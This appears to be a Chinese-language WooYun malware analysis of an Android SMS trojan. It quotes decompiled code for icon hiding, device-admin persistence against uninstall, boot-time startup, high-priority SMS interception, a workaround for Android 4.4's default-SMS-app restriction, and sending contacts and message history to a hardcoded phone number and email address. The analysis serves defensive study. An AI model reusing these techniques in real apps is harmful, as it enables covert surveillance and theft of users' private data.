WooYun.org

木马用了阿里的壳,脱壳比较蛋疼
因为android 4.4 只有默认短信app才能收发短信,木马在服务中加入了兼容代码

注意不要点这个哦.

硬编码的发件邮箱

入口1:主界面aa.bb.cc.dd.ClientActivity,进行如下操作:

* 隐藏图标
#!java
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
* 激活设备管理
#!java
Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
localIntent.putExtra("android.app.extra.DEVICE_ADMIN", this.componentName);
localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "");
startActivityForResult(localIntent, 20);
* 启动MyService
#!java
startService(new Intent(this, MyService.class));
* 通过短信发送受害者设备id给18458174771
#!java
Assets.sendMsg("18458174771", Assets.getInstallFlag(this, ""));
* 启动MailTask,后台通过邮件发送受害者手机号+设备id(邮件标题)和通信录(邮件内容)给mmqwe1231@163.com
#!java
new MailTask("", this).execute(new Integer[0])

* 启动SmsTask,后台通过邮件发送受害者手机号+设备id(邮件标题)和短信历史(邮件内容)给mmqwe1231@163.com
#!java
new SmsTask("", this).execute(new Integer[0]);

防卸载:设备管理器

<receiver android:name="com.iwawad.vaaweea00.Dx" android:permission="android.permission.BIND_DEVICE_ADMIN">
			
			<meta-data android:name="android.app.device_admin" android:resource="@7F040000">
			</meta-data>
			
			<intent-filter>
				
				<action android:name="android.app.action.DEVICE_ADMIN_ENABLED">
				</action>
				
			</intent-filter>
			
		</receiver>

入口2:开机启动广播接收器aa.bb.cc.dd.BootReceiver

<receiver android:name="aa.bb.cc.dd.BootReceiver">
			
			<intent-filter android:priority="2147483647">
				
				<action android:name="android.intent.action.BOOT_COMPLETED">
			</action>
				
			</intent-filter>

进行如下操作:

* 启动服务com.iwawad.vaaweea00.MyService

#!java
		paramContext.startService(new Intent(paramContext, MyService.class));

* 发送监控安装短信给18458174771

#!java
		SmsManager.getDefault().sendTextMessage("18458174771", null, paramContext.getString(2131165186), null, null); //String为监控安装

后台服务:com.iwawad.vaaweea00.MyService

* 对系统版本进行判断,android 4.4启动WebInterfaceActivity,用于设置成默认短信管理软件来得到

#!java
		if ((String.valueOf(Build.VERSION.RELEASE).indexOf("4.4") != -1) && (!Telephony.Sms.getDefaultSmsPackage(MyService.this).equals(str)))
        {
          Intent localIntent = new Intent(MyService.this, WebInterfaceActivity.class);
          localIntent.addFlags(268435456);
          MyService.this.startActivity(localIntent);
        }

default sms app特性已经被木马使用,之前还以为此机制加入会对短信马会有极大遏制,但是现在想想既然傻傻的安装了木马,再傻傻的设置为默认好像很正常.一种木马诞生后往往不会消亡,它会不断的演变进化,此木马就通过简单的代码顺利兼容了android4.4.
入口3:短信广播接收器com.iwawad.vaaweea00.XReceiver
<receiver android:name="com.iwawad.vaaweea00.XReceiver" android:permission="android.permission.BROADCAST_SMS">

<intent-filter android:priority="2147483647"> //设置优先级

<action android:name="android.provider.Telephony.SMS_RECEIVED">//接收短信
</action>

<category android:name="android.intent.category.DEFAULT">
</category>

</intent-filter>

<intent-filter>

<action android:name="android.provider.Telephony.SMS_DELIVER"> //4.4特性,default SMS app
</action>

</intent-filter>

</receiver>

* 短信广播接收器设置最高接收优先级拦截短信,abortBroadcast();忽略短信广播.
* 启动拨号界面```tel:**21*121# **21*# ##21#``` //貌似是测试设备有没有卡
* 拦截记录收(MailTask/SmsTask)发(SendTask)短信邮件通知mmqwe1231@163.com
* 短信指令控制手机:监控状态 SetupMessagesyncTask/发送指定短信 SendMessageasyncTask